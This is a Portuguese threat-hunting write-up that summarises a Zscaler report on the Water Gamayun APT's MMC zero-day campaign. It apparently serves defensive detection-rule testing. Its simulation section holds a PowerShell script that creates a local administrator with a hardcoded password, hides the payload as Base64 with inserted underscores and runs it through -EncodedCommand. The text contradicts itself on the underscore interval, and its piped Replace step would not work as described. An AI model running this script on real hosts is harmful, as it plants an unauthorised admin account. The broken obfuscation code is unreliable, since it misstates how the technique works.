Caça a Ameaças da Zscaler Expõe e Reconstrói a Campanha APT Water Gamayun

Resumo

O relatório aborda uma intrusão em várias etapas atribuída ao grupo APT Water Gamayun, que explora uma vulnerabilidade zero-day do MMC (CVE-2025-26633) para entregar cargas úteis PowerShell em um arquivo RAR de dupla extensão.

Investigação

A Zscaler reconstruiu a cadeia de ataque desde um redirecionamento de busca do Bing para um site comprometido, o download de um arquivo .pdf.rar, exploração do MSC EvilTwin, scripts PowerShell em etapas e execução do backdoor ItunesC.exe.

Mitigação

As orientações incluem monitoramento de arquivos de dupla extensão, inspeção de redirecionamentos, detecção de comandos PowerShell codificados e bloqueio do IP e domínios maliciosos.

Resposta

Ao detectar, alertar sobre o mmc.exe iniciando o PowerShell com -EncodedCommand, colocar o arquivo em quarentena, bloquear conexões de saída para 103.246.147.17 e ativar procedimentos de resposta a incidentes.

Execução de Simulação

Pré-requisito: O Cheque de Pré-vôo de Telemetria e Linha de Base deve ter sido aprovado.

Fundamento: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

• Narrativa do Ataque & Comandos:
  O atacante, aproveitando a metodologia do Water Gamayun, prepara uma carga útil maliciosa PowerShell que cria um novo usuário admin local e o adiciona ao grupo Administradores. Para ocultar a carga útil, o atacante:

  1. Escreve o script PowerShell em texto claro.
  2. Codifica em UTF‑16LE Base64.
  3. Insere um sublinhado (_) a cada 4 caracteres para aumentar a entropia.
  4. Encadeia uma |Replace('_','') operação para que o runtime PowerShell remova os sublinhados antes de decodificar, correspondendo à assinatura de detecção.

  O comando de execução final é:

  powershell.exe -EncodedCommand <Base64StringWithUnderscores> | Replace('_','')

  Esta linha de comando exata satisfaz as duas condições da regra Sigma (-EncodedCommand and |Replace('_','')), gerando entradas Sysmon EventID 1 e Security EventID 4688 que a regra sinalizará.

• Script de Teste de Regressão:
  O script abaixo automatiza a criação da carga útil ofuscada e a executa. Pode ser executado em qualquer host Windows com PowerShell 5.1+.

  # Simulação de ofuscação PowerShell estilo Water Gamayun
  # Passo 1: Defina a carga útil maliciosa PowerShell (adiciona um usuário admin local)
  $payload = @'
  $user = "tempAdmin"
  $pwd  = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
  New-LocalUser -Name $user -Password $pwd -FullName "Temp Admin" -Description "Conta admin de teste"
  Add-LocalGroupMember -Group "Administradores" -Member $user
  '@
  
  # Passo 2: Codificar em UTF-16LE e depois Base64
  $bytes   = [System.Text.Encoding]::Unicode.GetBytes($payload)
  $b64     = [Convert]::ToBase64String($bytes)
  
  # Passo 3: Injetar sublinhados a cada 8 caracteres (simulando o padrão do grupo)
  $b64Underscored = ($b64 -split '(.{8})' | Where-Object {$_} | ForEach-Object { $_ + '_' }) -join ''
  
  # Passo 4: Executar com o pipeline necessário Replace('_','')
  powershell.exe -EncodedCommand $b64Underscored | Replace('_','')

• Comandos de Limpeza:
  Os seguintes comandos removem o usuário de teste e restauram o ambiente.

  # Limpeza: Remover a conta admin temporária criada pelo teste
  $user = "tempAdmin"
  if (Get-LocalUser -Name $user -ErrorAction SilentlyContinue) {
      Remove-LocalUser -Name $user
      Write-Host "Usuário de teste $user deletado."
  } else {
      Write-Host "Usuário de teste $user não existe."
  }